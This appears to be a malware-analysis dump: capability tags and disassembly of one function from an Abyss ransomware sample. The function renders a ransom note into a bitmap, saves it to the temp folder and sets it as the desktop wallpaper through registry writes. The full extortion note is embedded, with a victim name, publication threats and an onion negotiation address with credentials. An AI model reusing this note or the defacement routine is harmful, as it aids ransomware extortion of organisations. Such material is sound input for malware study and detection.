Function at 0x140040530
Capabilities:
Capture screenshot
Change the wallpaper
Get common file path
Set registry value
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1f0]
sub rsp, 0x2f0
mov rax, qword [0x140073010]
xor rax, rsp
mov qword [rbp + 0x1e0], rax
xor r13d, r13d
xor ecx, ecx
mov dword [rsp + 0x50], r13d
call qword [sym.imp.USER32.dll_GetDC]
mov rcx, rax
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov rcx, rax
mov qword [rbp - 0x80], r13
mov r12, rax
mov dword [rbp - 0x78], 0x500
mov dword [rbp - 0x74], 0x400
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
lea ecx, [r13 + 0xd]
mov rbx, rax
call qword [sym.imp.GDI32.dll_GetStockObject]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.GDI32.dll_SelectObject]
mov edx, 0x500
mov r8d, 0x400
mov rcx, r12
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov rdx, rax
mov rcx, rbx
mov r15, rax
call qword [sym.imp.GDI32.dll_SelectObject]
mov dword [rsp + 0x40], 0x40cc0020
mov r9d, 0x500
mov dword [rsp + 0x38], r13d
xor r8d, r8d
mov dword [rsp + 0x30], r13d
xor edx, edx
mov qword [rsp + 0x28], r12
mov rcx, rbx
mov dword [rsp + 0x20], 0x400
call qword [sym.imp.GDI32.dll_BitBlt]
test eax, eax
jne 0x14004061a
mov r15d, r13d
jmp 0x1400406b1
xor ecx, ecx
call qword [sym.imp.GDI32.dll_GetStockObject]
lea rdx, [rbp - 0x80]
mov rcx, rbx
mov r8, rax
call qword [sym.imp.USER32.dll_FillRect]
movdqa xmm0, xmmword [0x14001a5b0]
xor edx, edx
mov rcx, rbx
movdqu xmmword [rbp - 0x80], xmm0
call qword [sym.imp.GDI32.dll_SetTextColor]
lea r9, [rbp - 0x80]
mov dword [rsp + 0x20], 0x40011
mov r8d, 0xffffffff
lea rdx, str.Hello_Tolsa._r_nWe_are_the_Abyss._r_n_r_nData_at_the_main_critical_points_of_your_network_has_been_compromised__and_all_of_your_companys_critical_data_has_been_transferred_to_our_servers._r_nWe_have_downloaded_more_than_6TB_of_private_data_from_your_network__including_your_Exchange__emails___SAP_databases__and_much_more.__r_nTo_prevent_this_from_becoming_public__we_recommend_you_contact_us_as_soon_as_possible._r_n_r_nGood_news:_r_n_r_n_______100__of_your_server_system_and_data_will_be_restored_using_our_tool__r_n_______Currently__your_data_is_securely_protected_and_stored_on_our_server__r_n_______If_we_come_to_an_agreement__no_one_in_the_world_will_know_about_your_companys_data_breach_except_you_and_the_team_of_Abyss._r_n_r_nPlease_read_the_following_rules_carefully:_r_n_r_n____1__You_have_72_hours_to_contact_us__otherwise__we_will_publish_all_the_information_we_have_and_destroy_the_recovery_tool._r_n____2__You_have_5_days_from_the_start_of_negotiations_to_reach_a_mutual_agreement_with_us._Otherwise__we_will_publish_all_the_information_we_have_and_destroy_the_recovery_tool._r_n____3__The_payment_amount_for_our_services_is_based_on_the_data_leaked_from_your_network_and_your_revenue._r_n____4__The_amount_stated_is_non_negotiable__and_no_discounts_will_be_given._Do_not_waste_our_and_your_time_in_vain._r_n_r_nWe_all_understand_what_happened_and_what_consequences_await_you._r_n_r_nYou_can_seek_recovery_assistance_in_negotiations__but_unfortunately__the_percentage_of_successfully_concluded_negotiations_with_recovery_assistance_decreases_every_day_r_nbecause_its_your_money_and_your_fines._They_care_little_about_it._r_n_r_nOur_motivation_is_purely_financial__we_do_not_associate_ourselves_with_any_country_or_politics._r_n_r_nWhat_we_offer_in_exchange_for_your_payment:_r_n_r_n___1__Decryption_and_restoration_of_all_your_systems_and_data_within_24_hours_with_a_100__guarantee__r_n___2__Never_inform_anyone_about_the_data_leak_from_your_company__r_n___3__After_decrypting_the_data_and_restoring_the_system__we_will_permanently_delete_all_your_data_from_our_servers__r_n___4__Provide_valuable_advice_on_protecting_your_companys_IT_to_prevent_future_attacks._r_n_r_n_r_nNow__in_order_to_start_negotiations__you_need_to_do_the_following:_r_n__download_the_Tor_Browser_using_their_official_website:_https:__www.torproject.org__r_n__use_these_credentials_to_enter_the_Chat_for_text_negotiation:__http:__jvqqxks35nrcifpv5qhr2c2d33od5jr3jfpqbeoout33cuxpwxvxuuyd.onion_QqlOIXyVfA2TAW5Gs5wrVEdcMH8saA_r_n_r_nThere_will_be_no_bad_news_for_your_company_after_successful_negotiations_for_both_sides._But_there_will_be_plenty_of_those_bad_news_if_case_of_failed_negotiations__so_dont_think_about_how_to_avoid_it._r_nJust_focus_on_negotiations__payment_and_decryption_to_make_all_of_your_problems_solved_by_our_specialists_within_1_day_after_payment_received:_servers_and_data_restored__everything_will_work_good_as_new._r_n_r_n_r_nNothing_personal__just_business
mov rcx, rbx
call qword [sym.imp.USER32.dll_DrawTextA]
mov dword [rsp + 0x40], 0xcc0020
mov r9d, 0x500
mov dword [rsp + 0x38], r13d
xor r8d, r8d
mov dword [rsp + 0x30], r13d
xor edx, edx
mov qword [rsp + 0x28], rbx
mov rcx, r12
mov dword [rsp + 0x20], 0x400
call qword [sym.imp.GDI32.dll_BitBlt]
test eax, eax
jne 0x1400406a8
mov r15, r13
jmp 0x1400406b1
mov rcx, rbx
call qword [sym.imp.GDI32.dll_DeleteDC]
lea r8, [rsp + 0x60]
mov edx, 0x20
mov rcx, r15
call qword [sym.imp.GDI32.dll_GetObjectW]
mov eax, dword [rsp + 0x64]
mov ecx, dword [rsp + 0x68]
mov dword [rbp - 0x6c], eax
shl eax, 5
add eax, 0x1f
mov dword [rbp - 0x68], ecx
cdq
mov dword [rbp - 0x70], 0x28
and edx, 0x1f
mov qword [rbp - 0x64], 0x200001
mov qword [rbp - 0x5c], r13
mov qword [rbp - 0x54], r13
mov dword [rbp - 0x4c], r13d
lea r14d, [rdx + rax]
sar r14d, 5
imul r14d, ecx
mov ecx, 0x42
shl r14d, 2
mov edx, r14d
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rcx, rax
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov r9d, dword [rsp + 0x68]
xor r8d, r8d
mov rdi, rax
mov dword [rsp + 0x30], r13d
lea rax, [rbp - 0x70]
mov rdx, r15
mov qword [rsp + 0x28], rax
mov rcx, r12
mov qword [rsp + 0x20], rdi
call qword [sym.imp.GDI32.dll_GetDIBits]
lea rdx, [rbp - 0x30]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
lea r8, [0x140019fa8]
mov edx, 0x104
lea rcx, [rbp - 0x30]
call fcn.1400532e0
mov qword [rsp + 0x30], r13
lea rcx, [rbp - 0x30]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
lea ecx, [r14 + 0x36]
mov dword [rbp - 0x3e], 0x36
mov rbx, rax
mov dword [rbp - 0x46], ecx
mov eax, 0x4d42
mov qword [rsp + 0x20], r13
mov rcx, rbx
mov word [rbp - 0x48], ax
lea r9, [rsp + 0x50]
mov r8d, 0xe
lea rdx, [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea r9, [rsp + 0x50]
mov qword [rsp + 0x20], r13
mov r8d, 0x28
lea rdx, [rbp - 0x70]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea r9, [rsp + 0x50]
mov qword [rsp + 0x20], r13
mov r8d, r14d
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GlobalFree]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r15
call qword [sym.imp.GDI32.dll_DeleteObject]
xor ecx, ecx
call qword [sym.imp.GDI32.dll_DeleteObject]
mov rcx, r12
call qword [sym.imp.GDI32.dll_DeleteDC]
lea rax, [rsp + 0x58]
mov r9d, 2
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, [0x140019fc0]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x1400408de
lea rbx, [0x140019ff0]
mov dword [rsp + 0x28], 2
mov r9d, 1
mov qword [rsp + 0x20], rbx
xor r8d, r8d
lea rdx, [0x140019ff8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x58]
lea rdx, [0x14001a018]
mov r9d, 1
mov dword [rsp + 0x28], 2
xor r8d, r8d
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor edx, edx
lea r8, [rbp - 0x30]
mov r9d, 3
lea ecx, [rdx + 0x14]
call qword [sym.imp.USER32.dll_SystemParametersInfoW]
xor eax, eax
mov rcx, qword [rbp + 0x1e0]
xor rcx, rsp
call fcn.140048740
lea r11, [rsp + 0x2f0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret